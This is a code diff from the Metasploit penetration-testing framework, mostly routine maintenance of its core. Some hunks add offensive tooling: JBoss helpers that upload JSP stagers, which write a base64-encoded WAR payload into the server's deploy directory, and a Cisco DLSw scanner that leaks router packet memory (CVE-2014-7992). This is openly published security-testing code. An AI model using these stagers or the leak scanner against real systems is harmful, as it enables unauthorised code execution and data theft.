encoders << e if e
|
||||
end
|
||||
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
|
||||
elsif badchars.present?
|
||||
framework.encoders.each_module_ranked('Arch' => [arch], 'Platform' => platform_list) do |name, mod|
|
||||
e = framework.encoders.create(name)
|
||||
e.datastore.import_options_from_hash(datastore)
|
||||
encoders << e if e
|
||||
end
|
||||
encoders.sort_by { |my_encoder| my_encoder.rank }.reverse
|
||||
|
|
|
@ -19,7 +19,12 @@ class Msf::Post < Msf::Module
|
|||
|
||||
include Msf::PostMixin
|
||||
|
||||
def setup; end
|
||||
def setup
|
||||
m = replicant
|
||||
if m.actions.length > 0 && !m.action
|
||||
raise Msf::MissingActionError, "Please use: #{m.actions.collect {|e| e.name} * ", "}"
|
||||
end
|
||||
end
|
||||
|
||||
def type
|
||||
Msf::MODULE_POST
|
||||
|
|
|
@ -3,6 +3,8 @@
|
|||
module Msf::Post::Common
|
||||
|
||||
def rhost
|
||||
return nil unless session
|
||||
|
||||
case session.type
|
||||
when 'meterpreter'
|
||||
session.sock.peerhost
|
||||
|
|
|
@ -5,13 +5,17 @@ module Msf
|
|||
module HTTP
|
||||
module JBoss
|
||||
require 'msf/http/jboss/base'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/bean_shell'
|
||||
require 'msf/http/jboss/bean_shell_scripts'
|
||||
require 'msf/http/jboss/deployment_file_repository'
|
||||
require 'msf/http/jboss/deployment_file_repository_scripts'
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::HTTP::JBoss::Base
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::BeanShell
|
||||
include Msf::HTTP::JBoss::BeanShellScripts
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
include Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
def initialize(info = {})
|
||||
super
|
||||
|
|
|
@ -46,4 +46,96 @@ module Msf::HTTP::JBoss::Base
|
|||
datastore['VERB']
|
||||
end
|
||||
|
||||
|
||||
# Try to auto detect the target architecture and platform
|
||||
#
|
||||
# @param [Array] The available targets
|
||||
# @return [Msf::Module::Target, nil] The detected target or nil
|
||||
def auto_target(available_targets)
|
||||
if http_verb == 'HEAD'
|
||||
print_status("Sorry, automatic target detection doesn't work with HEAD requests")
|
||||
else
|
||||
print_status("Attempting to automatically select a target...")
|
||||
res = query_serverinfo
|
||||
plat = detect_platform(res)
|
||||
unless plat
|
||||
print_warning('Unable to detect platform!')
|
||||
return nil
|
||||
end
|
||||
|
||||
arch = detect_architecture(res)
|
||||
unless arch
|
||||
print_warning('Unable to detect architecture!')
|
||||
return nil
|
||||
end
|
||||
|
||||
# see if we have a match
|
||||
available_targets.each { |t| return t if t['Platform'] == plat && t['Arch'] == arch }
|
||||
end
|
||||
|
||||
# no matching target found, use Java as fallback
|
||||
java_targets = available_targets.select {|t| t.name =~ /^Java/ }
|
||||
|
||||
java_targets[0]
|
||||
end
|
||||
|
||||
# Query the server information from HtmlAdaptor
|
||||
#
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response or nil
|
||||
def query_serverinfo
|
||||
path = normalize_uri(target_uri.path.to_s, 'HtmlAdaptor')
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => path,
|
||||
'method' => http_verb,
|
||||
'vars_get' =>
|
||||
{
|
||||
'action' => 'inspectMBean',
|
||||
'name' => 'jboss.system:type=ServerInfo'
|
||||
}
|
||||
})
|
||||
|
||||
unless res && res.code == 200
|
||||
print_error("Failed: Error requesting #{path}")
|
||||
return nil
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
# Try to autodetect the target platform
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint platform from
|
||||
# @return [String, nil] The target platform or nil
|
||||
def detect_platform(res)
|
||||
if res && res.body =~ /<td.*?OSName.*?(Linux|FreeBSD|Windows).*?<\/td>/m
|
||||
os = $1
|
||||
if (os =~ /Linux/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /FreeBSD/i)
|
||||
return 'linux'
|
||||
elsif (os =~ /Windows/i)
|
||||
return 'win'
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Try to autodetect the target architecture
|
||||
#
|
||||
# @param res [Rex::Proto::Http::Response] the http response where fingerprint architecture from
|
||||
# @return [String, nil] The target architecture or nil
|
||||
def detect_architecture(res)
|
||||
if res && res.body =~ /<td.*?OSArch.*?(x86|i386|i686|x86_64|amd64).*?<\/td>/m
|
||||
arch = $1
|
||||
if arch =~ /(x86|i386|i686)/i
|
||||
return ARCH_X86
|
||||
elsif arch =~ /(x86_64|amd64)/i
|
||||
return ARCH_X86
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepository
|
||||
|
||||
# Upload a text file with DeploymentFileRepository.store()
|
||||
#
|
||||
# @param base_name [String] The destination base name
|
||||
# @param jsp_name [String] The destanation file name
|
||||
# @param content [String] The content of the file
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def upload_file(base_name, jsp_name, content)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'store'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = base_name + '.war'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = jsp_name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = '.jsp'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg3'] = content
|
||||
params['argType'] = 'boolean'
|
||||
params['arg4'] = 'True'
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
end
|
||||
|
||||
send_request_cgi(opts)
|
||||
end
|
||||
|
||||
# Delete a file with DeploymentFileRepository.remove().
|
||||
#
|
||||
# @param folder [String] The destination folder name
|
||||
# @param name [String] The destination file name
|
||||
# @param ext [String] The destination file extension
|
||||
# @return [Rex::Proto::Http::Response, nil] The {Rex::Proto::Http::Response} response, nil if timeout
|
||||
def delete_file(folder, name, ext)
|
||||
params = { }
|
||||
params.compare_by_identity
|
||||
params['action'] = 'invokeOpByName'
|
||||
params['name'] = 'jboss.admin:service=DeploymentFileRepository'
|
||||
params['methodName'] = 'remove'
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg0'] = folder
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg1'] = name
|
||||
params['argType'] = 'java.lang.String'
|
||||
params['arg2'] = ext
|
||||
|
||||
opts = {
|
||||
'method' => http_verb,
|
||||
'uri' => normalize_uri(target_uri.path.to_s, '/HtmlAdaptor')
|
||||
}
|
||||
|
||||
if http_verb == 'POST'
|
||||
opts.merge!('vars_post' => params)
|
||||
timeout = 5
|
||||
else
|
||||
opts.merge!('vars_get' => params)
|
||||
timeout = 30
|
||||
end
|
||||
send_request_cgi(opts, timeout)
|
||||
end
|
||||
|
||||
end
|
|
@ -0,0 +1,76 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf::HTTP::JBoss::DeploymentFileRepositoryScripts
|
||||
|
||||
# Generate a stager JSP to write the second stager to the
|
||||
# deploy/management directory. It is only used with HEAD/GET requests
|
||||
# to overcome the size limit in those requests
|
||||
#
|
||||
# @param stager_base [String] The name of the base of the stager.
|
||||
# @param stager_jsp [String] The name name of the jsp stager.
|
||||
# @return [String] The JSP head stager.
|
||||
def head_stager_jsp(stager_base, stager_jsp_name)
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
bw_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
head_stager_jsp_code = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{stager_base}.war/" + "#{stager_jsp_name}" + ".jsp";
|
||||
try {
|
||||
String #{content_var} = "";
|
||||
String parameterName = (String)(request.getParameterNames().nextElement());
|
||||
#{content_var} = request.getParameter(parameterName);
|
||||
FileWriter #{fos_var} = new FileWriter(#{file_path_var}, true);
|
||||
BufferedWriter #{bw_var} = new BufferedWriter(#{fos_var});
|
||||
#{bw_var}.write(#{content_var});
|
||||
#{bw_var}.close();
|
||||
}
|
||||
catch(Exception e) { }
|
||||
%>
|
||||
EOT
|
||||
head_stager_jsp_code
|
||||
end
|
||||
|
||||
# Generate a stager JSP to write a WAR file to the deploy/ directory.
|
||||
# This is used to bypass the size limit for GET/HEAD requests.
|
||||
#
|
||||
# @param app_base [String] The name of the WAR app to write.
|
||||
# @return [String] The JSP stager.
|
||||
def stager_jsp_with_payload(app_base, encoded_payload)
|
||||
decoded_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
file_path_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
jboss_home_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
fos_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
content_var = Rex::Text.rand_text_alpha(8+rand(8))
|
||||
|
||||
stager_jsp = <<-EOT
|
||||
<%@page import="java.io.*,
|
||||
java.util.*,
|
||||
sun.misc.BASE64Decoder"
|
||||
%>
|
||||
<%
|
||||
String #{jboss_home_var} = System.getProperty("jboss.server.home.dir");
|
||||
String #{file_path_var} = #{jboss_home_var} + "/deploy/management/" + "#{app_base}.war";
|
||||
try {
|
||||
String #{content_var} = "#{encoded_payload}";
|
||||
FileOutputStream #{fos_var} = new FileOutputStream(#{file_path_var});
|
||||
byte[] #{decoded_var} = new BASE64Decoder().decodeBuffer(#{content_var});
|
||||
#{fos_var}.write(#{decoded_var});
|
||||
#{fos_var}.close();
|
||||
}
|
||||
catch(Exception e){ }
|
||||
%>
|
||||
EOT
|
||||
|
||||
stager_jsp
|
||||
end
|
||||
|
||||
|
||||
|
||||
end
|
|
@ -205,6 +205,16 @@ class Core
|
|||
end
|
||||
print_status("Reloading modules from all module paths...")
|
||||
framework.modules.reload_modules
|
||||
|
||||
# Check for modules that failed to load
|
||||
if framework.modules.module_load_error_by_path.length > 0
|
||||
print_error("WARNING! The following modules could not be loaded!")
|
||||
|
||||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print_error("\t#{path}: #{error}")
|
||||
end
|
||||
end
|
||||
|
||||
cmd_banner()
|
||||
end
|
||||
|
||||
|
|
|
@ -59,7 +59,10 @@ class Driver < Msf::Ui::Driver
|
|||
histfile = opts['HistFile'] || Msf::Config.history_file
|
||||
|
||||
# Initialize attributes
|
||||
self.framework = opts['Framework'] || Msf::Simple::Framework.create(opts)
|
||||
|
||||
# Defer loading of modules until paths from opts can be added below
|
||||
framework_create_options = {'DeferModuleLoads' => true}.merge(opts)
|
||||
self.framework = opts['Framework'] || Msf::Simple::Framework.create(framework_create_options)
|
||||
|
||||
if self.framework.datastore['Prompt']
|
||||
prompt = self.framework.datastore['Prompt']
|
||||
|
|
|
@ -42,9 +42,9 @@ class Client
|
|||
@@ext_hash = {}
|
||||
|
||||
#
|
||||
# Cached SSL certificate (required to scale)
|
||||
# Cached auto-generated SSL certificate
|
||||
#
|
||||
@@ssl_ctx = nil
|
||||
@@ssl_cached_cert = nil
|
||||
|
||||
#
|
||||
# Mutex to synchronize class-wide operations
|
||||
|
@ -106,7 +106,6 @@ class Client
|
|||
self.capabilities = opts[:capabilities] || {}
|
||||
self.commands = []
|
||||
|
||||
|
||||
self.conn_id = opts[:conn_id]
|
||||
self.url = opts[:url]
|
||||
self.ssl = opts[:ssl]
|
||||
|
@ -116,9 +115,21 @@ class Client
|
|||
|
||||
self.response_timeout = opts[:timeout] || self.class.default_timeout
|
||||
self.send_keepalives = true
|
||||
|
||||
# TODO: Clarify why we don't allow unicode to be set in initial options
|
||||
# self.encode_unicode = opts.has_key?(:encode_unicode) ? opts[:encode_unicode] : true
|
||||
self.encode_unicode = false
|
||||
|
||||
# The SSL certificate is being passed down as a file path
|
||||
if opts[:ssl_cert]
|
||||
if ! ::File.exists? opts[:ssl_cert]
|
||||
elog("SSL certificate at #{opts[:ssl_cert]} does not exist and will be ignored")
|
||||
else
|
||||
# Load the certificate the same way that SslTcpServer does it
|
||||
self.ssl_cert = ::File.read(opts[:ssl_cert])
|
||||
end
|
||||
end
|
||||
|
||||
if opts[:passive_dispatcher]
|
||||
initialize_passive_dispatcher
|
||||
|
||||
|
@ -200,68 +211,43 @@ class Client
|
|||
end
|
||||
|
||||
def generate_ssl_context
|
||||
|
||||
ctx = nil
|
||||
ssl_cert_info = nil
|
||||
|
||||
loop do
|
||||
|
||||
# Load a custom SSL certificate if one has been specified
|
||||
if self.ssl_cert
|
||||
wlog("Loading custom SSL certificate for Meterpreter session")
|
||||
ssl_cert_info = Rex::Socket::SslTcpServer.ssl_parse_pem(self.ssl_cert)
|
||||
wlog("Loaded custom SSL certificate for Meterpreter session")
|
||||
break
|
||||
end
|
||||
|
||||
# Generate a certificate if necessary and cache it
|
||||
if ! @@ssl_cached_cert
|
||||
@@ssl_mutex.synchronize do
|
||||
if not @@ssl_ctx
|
||||
|
||||
wlog("Generating SSL certificate for Meterpreter sessions")
|
||||
@@ssl_cached_cert = Rex::Socket::SslTcpServer.ssl_generate_certificate
|
||||
wlog("Generated SSL certificate for Meterpreter sessions")
|
||||
end
|
||||
end
|
||||
|
||||
key = OpenSSL::PKey::RSA.new(1024){ }
|
||||
cert = OpenSSL::X509::Certificate.new
|
||||
cert.version = 2
|
||||
cert.serial = rand(0xFFFFFFFF)
|
||||
|
||||
# Depending on how the socket was created, getsockname will
|
||||
# return either a struct sockaddr as a String (the default ruby
|
||||
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
|
||||
# behavior). Avoid the ambiguity by always picking a random
|
||||
# hostname. See #7350.
|
||||
subject_cn = Rex::Text.rand_hostname
|
||||
|
||||
subject = OpenSSL::X509::Name.new([
|
||||
["C","US"],
|
||||
['ST', Rex::Text.rand_state()],
|
||||
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
||||
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
||||
["CN", subject_cn],
|
||||
])
|
||||
issuer = OpenSSL::X509::Name.new([
|
||||
["C","US"],
|
||||
['ST', Rex::Text.rand_state()],
|
||||
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
||||
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
||||
["CN", Rex::Text.rand_text_alpha(rand(20) + 10)],
|
||||
])
|
||||
|
||||
cert.subject = subject
|
||||
cert.issuer = issuer
|
||||
cert.not_before = Time.now - (3600 * 365) + rand(3600 * 14)
|
||||
cert.not_after = Time.now + (3600 * 365) + rand(3600 * 14)
|
||||
cert.public_key = key.public_key
|
||||
ef = OpenSSL::X509::ExtensionFactory.new(nil,cert)
|
||||
cert.extensions = [
|
||||
ef.create_extension("basicConstraints","CA:FALSE"),
|
||||
ef.create_extension("subjectKeyIdentifier","hash"),
|
||||
ef.create_extension("extendedKeyUsage","serverAuth"),
|
||||
ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature")
|
||||
]
|
||||
ef.issuer_certificate = cert
|
||||
cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always")
|
||||
cert.sign(key, OpenSSL::Digest::SHA1.new)
|
||||
|
||||
ctx = OpenSSL::SSL::SSLContext.new
|
||||
ctx.key = key
|
||||
ctx.cert = cert
|
||||
# Use the cached certificate
|
||||
ssl_cert_info = @@ssl_cached_cert
|
||||
break
|
||||
end
|
||||
|
||||
# Create a new context for each session
|
||||
ctx = OpenSSL::SSL::SSLContext.new()
|
||||
ctx.key = ssl_cert_info[0]
|
||||
ctx.cert = ssl_cert_info[1]
|
||||
ctx.extra_chain_cert = ssl_cert_info[2]
|
||||
ctx.options = 0
|
||||
ctx.session_id_context = Rex::Text.rand_text(16)
|
||||
|
||||
wlog("Generated SSL certificate for Meterpreter sessions")
|
||||
|
||||
@@ssl_ctx = ctx
|
||||
|
||||
end # End of if not @ssl_ctx
|
||||
end # End of mutex.synchronize
|
||||
|
||||
@@ssl_ctx
|
||||
ctx
|
||||
end
|
||||
|
||||
##
|
||||
|
@ -453,6 +439,10 @@ class Client
|
|||
#
|
||||
attr_accessor :ssl
|
||||
#
|
||||
# Use this SSL Certificate (unified PEM)
|
||||
#
|
||||
attr_accessor :ssl_cert
|
||||
#
|
||||
# The Session Expiration Timeout
|
||||
#
|
||||
attr_accessor :expiration
|
||||
|
|
|
@ -96,7 +96,7 @@ module PacketDispatcher
|
|||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
rpkt = send_queue.pop
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
cli.send_response(resp)
|
||||
|
|
|
@ -83,7 +83,7 @@ begin
|
|||
Thread.current.priority = -20
|
||||
|
||||
output.prompting
|
||||
line = ::Readline.readline(prompt, true)
|
||||
line = readline_with_output(prompt, true)
|
||||
::Readline::HISTORY.pop if (line and line.empty?)
|
||||
ensure
|
||||
Thread.current.priority = orig || 0
|
||||
|
@ -116,6 +116,37 @@ begin
|
|||
#
|
||||
attr_accessor :output
|
||||
|
||||
private
|
||||
|
||||
def readline_with_output(prompt, add_history=false)
|
||||
# rb-readlines's Readline.readline hardcodes the input and output to $stdin and $stdout, which means setting
|
||||
# `Readline.input` or `Readline.ouput` has no effect when running `Readline.readline` with rb-readline, so need
|
||||
# to reimplement []`Readline.readline`](https://github.com/luislavena/rb-readline/blob/ce4908dae45dbcae90a6e42e3710b8c3a1f2cd64/lib/readline.rb#L36-L58)
|
||||
# for rb-readline to support setting input and output. Output needs to be set so that colorization works for the
|
||||
# prompt on Windows.
|
||||
if defined? RbReadline
|
||||
RbReadline.rl_instream = fd
|
||||
RbReadline.rl_outstream = output
|
||||
|
||||
begin
|
||||
line = RbReadline.readline(prompt)
|
||||
rescue ::Exception => exception
|
||||
RbReadline.rl_cleanup_after_signal()
|
||||
RbReadline.rl_deprep_terminal()
|
||||
|
||||
raise exception
|
||||
end
|
||||
|
||||
if add_history && line
|
||||
RbReadline.add_history(line)
|
||||
end
|
||||
|
||||
line.try(:dup)
|
||||
else
|
||||
::Readline.readline(prompt, true)
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
rescue LoadError
|
||||
end
|
||||
|
|
|
@ -16,6 +16,76 @@ module Text
|
|||
#
|
||||
###
|
||||
class Output::Stdio < Rex::Ui::Text::Output
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
|
||||
# @!attribute io
|
||||
# The raw `IO` backing this Text output. Defaults to `$stdout`
|
||||
#
|
||||
# @return [#flush, #puts, #write]
|
||||
attr_writer :io
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
|
||||
# @param options [Hash{Symbol => IO}]
|
||||
# @option options [IO]
|
||||
def initialize(options={})
|
||||
options.assert_valid_keys(:io)
|
||||
|
||||
super()
|
||||
|
||||
self.io = options[:io]
|
||||
end
|
||||
|
||||
#
|
||||
# Methods
|
||||
#
|
||||
|
||||
def flush
|
||||
io.flush
|
||||
end
|
||||
|
||||
# IO to write to.
|
||||
#
|
||||
# @return [IO] Default to `$stdout`
|
||||
def io
|
||||
@io ||= $stdout
|
||||
end
|
||||
|
||||
#
|
||||
# Prints the supplied message to standard output.
|
||||
#
|
||||
def print_raw(msg = '')
|
||||
if (Rex::Compat.is_windows and supports_color?)
|
||||
WindowsConsoleColorSupport.new(io).write(msg)
|
||||
else
|
||||
io.print(msg)
|
||||
end
|
||||
|
||||
io.flush
|
||||
|
||||
msg
|
||||
end
|
||||
alias_method :write, :print_raw
|
||||
|
||||
def puts(*args)
|
||||
args.each do |argument|
|
||||
line = argument.to_s
|
||||
write(line)
|
||||
|
||||
unless line.ends_with? "\n"
|
||||
# yes, this is output, but `IO#puts` uses `rb_default_rs`, which is
|
||||
# [`$/`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/io.c#L12168-L12172),
|
||||
# which is [`$INPUT_RECORD_SEPARATOR`](https://github.com/ruby/ruby/blob/3af8e150aded9d162bfd41426aaaae0279e5a653/lib/English.rb#L83)
|
||||
write($INPUT_RECORD_SEPARATOR)
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def supports_color?
|
||||
case config[:color]
|
||||
|
@ -31,20 +101,6 @@ class Output::Stdio < Rex::Ui::Text::Output
|
|||
return (term and term.match(/(?:vt10[03]|xterm(?:-color)?|linux|screen|rxvt)/i) != nil)
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Prints the supplied message to standard output.
|
||||
#
|
||||
def print_raw(msg = '')
|
||||
if (Rex::Compat.is_windows and supports_color?)
|
||||
WindowsConsoleColorSupport.new($stdout).write(msg)
|
||||
else
|
||||
$stdout.print(msg)
|
||||
end
|
||||
$stdout.flush
|
||||
|
||||
msg
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -31,7 +31,7 @@ Gem::Specification.new do |spec|
|
|||
|
||||
spec.add_runtime_dependency 'activerecord', rails_version_constraint
|
||||
# Metasploit::Credential database models
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.3'
|
||||
spec.add_runtime_dependency 'metasploit-credential', '~> 0.13.6'
|
||||
# Database models shared between framework and Pro.
|
||||
spec.add_runtime_dependency 'metasploit_data_models', '~> 0.21.1'
|
||||
# depend on metasploit-framewrok as the optional gems are useless with the actual code
|
||||
|
|
|
@ -126,8 +126,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
case action.name
|
||||
when 'Deploy'
|
||||
unless File.exist?(datastore['WARFILE'])
|
||||
unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])
|
||||
print_error("WAR file not found")
|
||||
return
|
||||
end
|
||||
war_data = File.read(datastore['WARFILE'])
|
||||
deploy_action(app_base, war_data)
|
||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server SUSER_SNAME Windows Domain Account Enumeration',
|
||||
'Description' => %q{
|
||||
This module can be used to brute force RIDs associated with the domain of the SQL Server
|
||||
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
|
||||
using the SUSER_SNAME function. This is similar to the smb_lookupsid module, but executed
|
||||
through SQL Server queries as any user with the PUBLIC role (everyone). Information that
|
||||
can be enumerated includes Windows domain users, groups, and computer accounts. Enumerated
|
||||
|
|
|
@ -15,7 +15,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
super(update_info(info,
|
||||
'Name' => 'Microsoft SQL Server - SQLi SUSER_SNAME Domain Account Enumeration',
|
||||
'Description' => %q{
|
||||
This module can be used to brute force RIDs associated with the domain of the SQL Server
|
||||
This module can be used to bruteforce RIDs associated with the domain of the SQL Server
|
||||
using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
|
||||
smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
|
||||
role (everyone). Information that can be enumerated includes Windows domain users, groups,
|
||||
|
|
|
@ -30,7 +30,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptInt.new('TIMEOUT', [true, 'The number of seconds to wait for new data', 5]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'UDP_SECRET', 'GATEWAY', 'NETMASK')
|
||||
deregister_options('SNAPLEN', 'FILTER', 'PCAPFILE', 'SECRET', 'GATEWAY_PROBE_HOST', 'GATEWAY_PROBE_PORT')
|
||||
end
|
||||
|
||||
def run_batch_size
|
||||
|
|
|
@ -25,6 +25,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
OptBool.new('RANDOMIZE_PORTS', [false, 'Randomize the order the ports are probed', true])
|
||||
], self.class)
|
||||
|
||||
# RPORT is required by UDPScanner but not used in this module since it
|
||||
# works with multiple ports.
|
||||
# TODO: update this module to simply use Scanner or update UDPScanner to support
|
||||
# multiple ports.
|
||||
deregister_options('RPORT')
|
||||
|
||||
# Intialize the probes array
|
||||
@probes = []
|
||||
|
||||
|
|
|
@ -0,0 +1,114 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'socket'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Cisco DLSw Information Disclosure Scanner',
|
||||
'Description' => %q(
|
||||
This module implements the DLSw information disclosure retrieval. There
|
||||
is a bug in Cisco's DLSw implementation affecting 12.x and 15.x trains
|
||||
that allows an unuthenticated remote attacker to retrieve the partial
|
||||
contents of packets traversing a Cisco router with DLSw configured
|
||||
and active.
|
||||
),
|
||||
'Author' => [
|
||||
'Tate Hansen', # Vulnerability discovery
|
||||
'John McLeod', # Vulnerability discovery
|
||||
'Kyle Rainey' # Built lab to recreate vulnerability and help test
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-7992'],
|
||||
['URL', 'https://github.com/tatehansen/dlsw_exploit']
|
||||
],
|
||||
'DisclosureDate' => 'Nov 17 2014',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(2067),
|
||||
OptInt.new('LEAK_AMOUNT', [true, 'The number of bytes to store before shutting down.', 1024])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def get_response(size = 72)
|
||||
connect
|
||||
response = sock.get_once(size)
|
||||
disconnect
|
||||
response
|
||||
end
|
||||
|
||||
# Called when using check
|
||||
def check_host(_ip)
|
||||
print_status("#{peer}: Checking for DLSw information disclosure (CVE-2014-7992)")
|
||||
response = get_response
|
||||
|
||||
if response.blank?
|
||||
vprint_status("#{peer}: no response")
|
||||
Exploit::CheckCode::Safe
|
||||
elsif response[0..1] == "\x31\x48" || response[0..1] == "\x32\x48"
|
||||
vprint_good("#{peer}: Detected DLSw protocol")
|
||||
report_service(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
proto: 'tcp',
|
||||
name: 'dlsw'
|
||||
)
|
||||
# TODO: check that response has something that truly indicates it is vulnerable
|
||||
# and not simply that it responded
|
||||
unless response[18..72].scan(/\x00/).length == 54
|
||||
print_good("#{peer}: vulnerable to DLSw information disclosure; leaked #{response.length} bytes")
|
||||
report_vuln(
|
||||
host: rhost,
|
||||
port: rport,
|
||||
name: name,
|
||||
refs: references,
|
||||
info: "Module #{fullname} collected #{response.length} bytes"
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
else
|
||||
vprint_status("#{peer}: #{response.size}-byte response didn't contain any leaked data")
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
return unless check_host(ip) == Exploit::CheckCode::Vulnerable
|
||||
|
||||
dlsw_data = ''
|
||||
until dlsw_data.length > datastore['LEAK_AMOUNT']
|
||||
response = get_response
|
||||
dlsw_data << response[18..72] unless response.blank?
|
||||
end
|
||||
loot_and_report(dlsw_data)
|
||||
end
|
||||
|
||||
def loot_and_report(dlsw_leak)
|
||||
path = store_loot(
|
||||
'dlsw.packet.contents',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
dlsw_leak,
|
||||
'DLSw_leaked_data',
|
||||
'DLSw packet memory leak'
|
||||
)
|
||||
print_status("#{peer}: DLSw leaked data stored in #{path}")
|
||||
end
|
||||
end
|
|
@ -48,7 +48,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
connect
|
||||
|
||||
sock.put("GET /_vti_inf.html HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" + "Keep-Alive: 300\r\n" +
|
||||
"Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" + "User-Agent: " +
|
||||
"Connection: Keep-Alive, TE\r\n" + "Host: #{vhost}\r\n" + "User-Agent: " +
|
||||
datastore['UserAgent'] + "\r\n\r\n")
|
||||
|
||||
res = sock.get_once || ''
|
||||
|
@ -95,8 +95,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
method = "method=open+service:#{fpversion}&service_name=/"
|
||||
|
||||
req = "POST /_vti_bin/_vti_aut/author.dll HTTP/1.1\r\n" + "TE: deflate,gzip;q=0.3\r\n" +
|
||||
"Keep-Alive: 300\r\n" + "Connection: Keep-Alive, TE\r\n" + "Host: #{target_host}\r\n" +
|
||||
